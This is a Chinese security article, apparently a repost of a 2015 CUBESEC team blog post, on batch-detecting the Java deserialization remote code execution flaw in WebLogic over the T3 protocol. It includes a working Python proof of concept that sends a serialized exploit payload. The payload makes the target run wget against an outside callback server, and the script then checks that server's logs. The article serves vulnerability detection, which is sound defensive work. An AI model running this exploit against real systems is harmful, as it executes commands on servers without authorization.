您现在的位置: 主页 > 上位机技术 > JAVA > Java反序列化漏洞批量检测(附POC)
本文所属标签:
为本文创立个标签吧:

Java反序列化漏洞批量检测(附POC)

来源:网络整理 网络用户发布,如有版权联系网管删除 2018-07-23 

CUBESEC 2015-11-23  SosoImg+15
SosoImg

  本文作者:魔方安全团队

  前言

  Java反序列漏洞出现在人们视野已经有一段时间了,魔方安全团队对这个漏洞进行了复现,同时研究出了一种准确性较高的批量检测的思路,在此与各位安全圈的朋友分享。

  背景

  2015年11月6日,FoxGlove Security安全团队的@breenmachine 发布的一篇博客中介绍了如何利用Java反序列化漏洞,来攻击最新版的WebLogic、WebSphere、JBoss、Jenkins、OpenNMS这些大名鼎鼎的Java应用,实现远程代码执行。

  其实早在2015年的1月28号,国外的安全研究员Gabriel Lawrence和Chris Frohoff在AppSecCali上给出了一个报告,报告中已

  经指出Java反序列化漏洞可以利用Apache Commons Collections这个常用的Java库来实现任意代码执行。

  Java反序列漏洞简介

  序列化就是把对象转换成字节流,便于保存在内存、文件、数据库中;反序列化即逆过程,由字节流还原成对象。Java中的ObjectOutputStream类的writeObject()方法可以实现序列化,类ObjectInputStream类的readObject()方法用于反序列化。下面是将字符串对象先进行序列化,存储到本地文件,然后再通过反序列化进行恢复的样例代码:

public static void main(String args[]) throws Exception { 
String obj = "hello world!"; 
// 将序列化对象写入文件object.db中 
FileOutputStream fos = new FileOutputStream("object.db"); 
ObjectOutputStream os = new ObjectOutputStream(fos); 
os.writeObject(obj); os.close(); 
  // 从文件object.db中读取数据
FileInputStream fis = new FileInputStream("object.db"); 
ObjectInputStream ois = new ObjectInputStream(fis); 
// 通过反序列化恢复对象obj String obj2 = (String)ois.readObject(); 
ois.close(); 
}

  问题在于,如果Java应用对用户输入,即不可信数据做了反序列化处理,那么攻击者可以通过构造恶意输入,让反序列化产生非预期的对象,非预期的对象在产生过程中就有可能带来任意代码执行。

  所以这个问题的根源在于类ObjectInputStream在反序列化时,没有对生成的对象的类型做限制;假若反序列化可以设置Java类型的白名单,那么问题的影响就小了很多。

  本文针对该漏洞的原理将不再详细描述,可参考长亭科技在11月初发布针对该漏洞的详细原理介绍:Lib之过?Java反序列化漏洞通用利用分析

  漏洞检测

  检测用工具

  该漏洞的利用方法目前已经有成型的工具,其中包括国外研究者编写的ysoserial,以及国内研究者编写的serial.jar,均可以生成攻击payload。 

  检测思路

  拓扑结构:

SosoImg

  由于目前来说暂未发现可直接回显结果的方法,单纯检测包返回结果无法很精确的发现是否存在漏洞,因此我们采用了结合第三方的方式进行批量检查,检测服务器发送payload到受检测主机,受监测主机执行远程命令访问测试服务器打开的Web服务,登录测试服务器查看测试服务器的Web访问日志日志,确认受检测主机IP地址是否在日志文件上,测试服务器日志上存在受监测主机的IP地址,则可以确认受监测主机执行了命令,存在漏洞。

  本次测试以使用最多的Weblogic为例,使用工具生成 payload ,payload中执行的命令为

wget http://x.x.x.x/libreversex.html

  其中x.x.x.x为我们搭建用于接受wget命令的测试服务器的IP

SosoImg

  然后利用国外的POC进行修改,在代码后面加入远程读取服务器日志,并匹配日志中是否存在该IP地址,其中读取目标服务器访问日志,我们使用了一个技巧,即将目标服务器的Web访问日志做个硬链接到Web目录下,这样就可以远程直接读取Web日志进行比对,确认该IP是否存在安全漏洞: 

SosoImg

  运行结果:

SosoImg

  在批量检测过程中,我们发现并不是说仅有7001存在该安全漏洞,部分站点80端口也存在该漏洞,因为只要是接受T3协议的端口均会存在该安全漏洞。

  检测方法总结

  优点:

  该检测方法直接通过执行命令方式并查看执行结果的方式进行检测,准确率高。

  缺点:

  1. 若内网防火墙禁止内部主机主动访问外部,则无法成功检测,因此存在漏报的可能。

  2. 对于windows下的主机,由于无wget命令,无法使用该方式检测。

  检测用测试代码

  以下是WebLogic的POC,采用的BBT的框架:

#!/usr/bin/env python 
# coding=utf-8 
import socket 
import sys 
import requests 
import base64 
import string 
import urlparse 
import os 
import time 
import requests 
from baseframe import BaseFrame 
class MyPoc(BaseFrame): 
  poc_info = {
  # poc相关信息
  'poc': {
  'id': 'poc-2015-1113',
  'name': 'java反序列漏洞weblogic',
  'author': 'vicky',
  'create_date': '2015-11-13',
  },
  # 协议相关信息
  'protocol': {
  'name': '*',
  'port': ['*'],
  'layer4_protocol': ['tcp'],
  },
  # 漏洞相关信息
  'vul': {
  'app_name': 'java',
  'vul_version': ['*'],
  'type': '远程命令执行',
  'tag': ['Java反序列漏洞', '远程命令执行', 'weblogic'],
  'desc': '''
  java 反序列漏洞使远程执行任意对象,配合weblogic中的Java反序列可使存在jenkins的系统远程执行命令
  ''',
  'references': ['http://blog.chaitin.com/2015-11-11_java_unserialize_rce/?from=timeline&isappinstalled=0#rdd',
  ],
  },
  }
  def _init_user_parser(self):
  self.user_parser.add_option('-p','--port',
  action='store', dest='port', type='int', default=6379,
  help='this poc need the port to connect redis'
  'the default port is 6379.')
  @classmethod
  def verify(cls, args):
  ip=args['options']['target']
  port=args['options']['port']
  socket.setdefaulttimeout(5)
  payload='x00x00x09xfcx01x65x01xffxffxffxffxffxffxffxffx00x00x00x71x00x00xeax60x00x00x00x18x43x2exc6xa2xa6x39x85xb5xafx7dx63xe6x43x83xf4x2ax6dx92xc9xe9xafx0fx94x72x02x79x73x72x00x78x72x01x78x72x02x78x70x00x00x00x0cx00x00x00x02x00x00x00x00x00x00x00x00x00x00x00x01x00x70x70x70x70x70x70x00x00x00x0cx00x00x00x02x00x00x00x00x00x00x00x00x00x00x00x01x00x70x06xfex01x00x00xacxedx00x05x73x72x00x1dx77x65x62x6cx6fx67x69x63x2ex72x6ax76x6dx2ex43x6cx61x73x73x54x61x62x6cx65x45x6ex74x72x79x2fx52x65x81x57xf4xf9xedx0cx00x00x78x70x72x00x24x77x65x62x6cx6fx67x69x63x2ex63x6fx6dx6dx6fx6ex2ex69x6ex74x65x72x6ex61x6cx2ex50x61x63x6bx61x67x65x49x6ex66x6fxe6xf7x23xe7xb8xaex1exc9x02x00x09x49x00x05x6dx61x6ax6fx72x49x00x05x6dx69x6ex6fx72x49x00x0bx70x61x74x63x68x55x70x64x61x74x65x49x00x0cx72x6fx6cx6cx69x6ex67x50x61x74x63x68x49x00x0bx73x65x72x76x69x63x65x50x61x63x6bx5ax00x0ex74x65x6dx70x6fx72x61x72x79x50x61x74x63x68x4cx00x09x69x6dx70x6cx54x69x74x6cx65x74x00x12x4cx6ax61x76x61x2fx6cx61x6ex67x2fx53x74x72x69x6ex67x3bx4cx00x0ax69x6dx70x6cx56x65x6ex64x6fx72x71x00x7ex00x03x4cx00x0bx69x6dx70x6cx56x65x72x73x69x6fx6ex71x00x7ex00x03x78x70x77x02x00x00x78xfex01x00x00'
  try :
  sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  server_address = (ip, int(port))
  headers='t3 12.2.1nAS:255nHL:19nMS:10000000nPU:t3://us-l-breens:7001nn'
  sock.connect(server_address)
  sock.sendall(headers)
  data = sock.recv(1024)
  except Exception,e:
  return args
  if "HELO" in data:
  try:
  payloadObj = open(“serial.wget”).read()
  payload=payload+payloadObj
  payload=payload+'xfex01x00x00xacxedx00x05x73x72x00x1dx77x65x62x6cx6fx67x69x63x2ex72x6ax76x6dx2ex43x6cx61x73x73x54x61x62x6cx65x45x6ex74x72x79x2fx52x65x81x57xf4xf9xedx0cx00x00x78x70x72x00x21x77x65x62x6cx6fx67x69x63x2ex63x6fx6dx6dx6fx6ex2ex69x6ex74x65x72x6ex61x6cx2ex50x65x65x72x49x6ex66x6fx58x54x74xf3x9bxc9x08xf1x02x00x07x49x00x05x6dx61x6ax6fx72x49x00x05x6dx69x6ex6fx72x49x00x0bx70x61x74x63x68x55x70x64x61x74x65x49x00x0cx72x6fx6cx6cx69x6ex67x50x61x74x63x68x49x00x0bx73x65x72x76x69x63x65x50x61x63x6bx5ax00x0ex74x65x6dx70x6fx72x61x72x79x50x61x74x63x68x5bx00x08x70x61x63x6bx61x67x65x73x74x00x27x5bx4cx77x65x62x6cx6fx67x69x63x2fx63x6fx6dx6dx6fx6ex2fx69x6ex74x65x72x6ex61x6cx2fx50x61x63x6bx61x67x65x49x6ex66x6fx3bx78x72x00x24x77x65x62x6cx6fx67x69x63x2ex63x6fx6dx6dx6fx6ex2ex69x6ex74x65x72x6ex61x6cx2ex56x65x72x73x69x6fx6ex49x6ex66x6fx97x22x45x51x64x52x46x3ex02x00x03x5bx00x08x70x61x63x6bx61x67x65x73x71x00x7ex00x03x4cx00x0ex72x65x6cx65x61x73x65x56x65x72x73x69x6fx6ex74x00x12x4cx6ax61x76x61x2fx6cx61x6ex67x2fx53x74x72x69x6ex67x3bx5bx00x12x76x65x72x73x69x6fx6ex49x6ex66x6fx41x73x42x79x74x65x73x74x00x02x5bx42x78x72x00x24x77x65x62x6cx6fx67x69x63x2ex63x6fx6dx6dx6fx6ex2ex69x6ex74x65x72x6ex61x6cx2ex50x61x63x6bx61x67x65x49x6ex66x6fxe6xf7x23xe7xb8xaex1exc9x02x00x09x49x00x05x6dx61x6ax6fx72x49x00x05x6dx69x6ex6fx72x49x00x0bx70x61x74x63x68x55x70x64x61x74x65x49x00x0cx72x6fx6cx6cx69x6ex67x50x61x74x63x68x49x00x0bx73x65x72x76x69x63x65x50x61x63x6bx5ax00x0ex74x65x6dx70x6fx72x61x72x79x50x61x74x63x68x4cx00x09x69x6dx70x6cx54x69x74x6cx65x71x00x7ex00x05x4cx00x0ax69x6dx70x6cx56x65x6ex64x6fx72x71x00x7ex00x05x4cx00x0bx69x6dx70x6cx56x65x72x73x69x6fx6ex71x00x7ex00x05x78x70x77x02x00x00x78xfex00xffxfex01x00x00xacxedx00x05x73x72x00x13x77x65x62x6cx6fx67x69x63x2ex72x6ax76x6dx2ex4ax56x4dx49x44xdcx49xc2x3exdex12x1ex2ax0cx00x00x78x70x77x46x21x00x00x00x00x00x00x00x00x00x09x31x32x37x2ex30x2ex31x2ex31x00x0bx75x73x2dx6cx2dx62x72x65x65x6ex73xa5x3cxafxf1x00x00x00x07x00x00x1bx59xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxffx00x78xfex01x00x00xacxedx00x05x73x72x00x13x77x65x62x6cx6fx67x69x63x2ex72x6ax76x6dx2ex4ax56x4dx49x44xdcx49xc2x3exdex12x1ex2ax0cx00x00x78x70x77x1dx01x81x40x12x81x34xbfx42x76x00x09x31x32x37x2ex30x2ex31x2ex31xa5x3cxafxf1x00x00x00x00x00x78'
  sock.send(payload)
  time.sleep(10)
  data=requests.get('http://IP:PORT/log.log')
  if data.content.count(str(ip)) > 0:
  args['success'] = True
  args['poc_ret']['ip'] = ip
  args['poc_ret']['port']= port
  except Exception,e:
  return args
  return args
  exploit = verify
if __name__ == '__main__': 
  from pprint import pprint
  mp = MyPoc()
pprint(mp.run())

CUBESEC 3篇文章等级:2级 

  魔方安全团队官方账号




              查看评论 回复



嵌入式交流网主页 > 上位机技术 > JAVA > Java反序列化漏洞批量检测(附POC)
 漏洞 检测 序列化

"Java反序列化漏洞批量检测(附POC)"的相关文章

网站地图

围观()